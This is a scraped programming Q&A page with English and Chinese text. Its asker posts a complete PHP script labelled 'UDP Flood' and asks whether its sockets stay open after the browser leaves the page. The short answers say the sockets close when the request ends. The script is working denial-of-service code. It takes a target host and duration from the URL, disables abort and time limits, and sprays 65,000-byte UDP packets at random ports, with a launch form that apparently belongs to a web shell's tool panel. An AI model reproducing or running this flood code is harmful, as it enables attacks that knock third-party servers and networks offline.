【问题标题】:Do sockets opened with fsockopen stay open after you leave the page via your browser?通过浏览器离开页面后,使用 fsockopen 打开的套接字是否保持打开状态?
【发布时间】:2011-02-09 05:27:20
【问题描述】:
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
    $pakits = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
            $out .= 'X';
    }
    while(1){
    $pakits++;
            if(time() > $max_time){
                    break;
            }
            $rand = rand(1,65000);
            $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
        <form action="'.$surl.'" method=GET>
        <input type="hidden" name="act" value="phptools">
        Host: <input type=text name=host value=localhost>
        Length (seconds): <input type=text name=time value=9999>
        <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
            <form action=? method=GET>
            <input type="hidden" name="act" value="phptools">
            Host: <br><input type=text name=host value=localhost><br>
            Length (seconds): <br><input type=text name=time value=9999><br>
            <br>
            <input type=submit value=Go></form>';
}

我一直在四处寻找并询问我的朋友一段时间,如果我使用这个脚本告诉服务器使用 fsockopen 打开套接字,如果我离开网页,套接字是否会保持打开状态直到持续时间完成?

【问题讨论】:

    标签: php fsockopen


    【解决方案1】:

    请求完成后立即关闭。停留在页面上与此无关。

    【讨论】:

    • 谢谢,我就是这么想的,但我需要一个直接的答案,哈哈。
    【解决方案2】:

    不,它只是返回一个指向文件的指针,您可以将其与 fopen()fwrite() 等一起使用。

    但是,一旦您使用 fclose() 完成文件,您将需要关闭该文件。查看更多详情:http://us.php.net/manual/en/function.fsockopen.php

    【讨论】:

      猜你喜欢
      • 2017-06-02
      • 2019-04-12
      • 2011-06-19
      • 1970-01-01
      • 1970-01-01
      • 2023-03-11
      • 1970-01-01
      • 2011-05-25
      相关资源
      最近更新 更多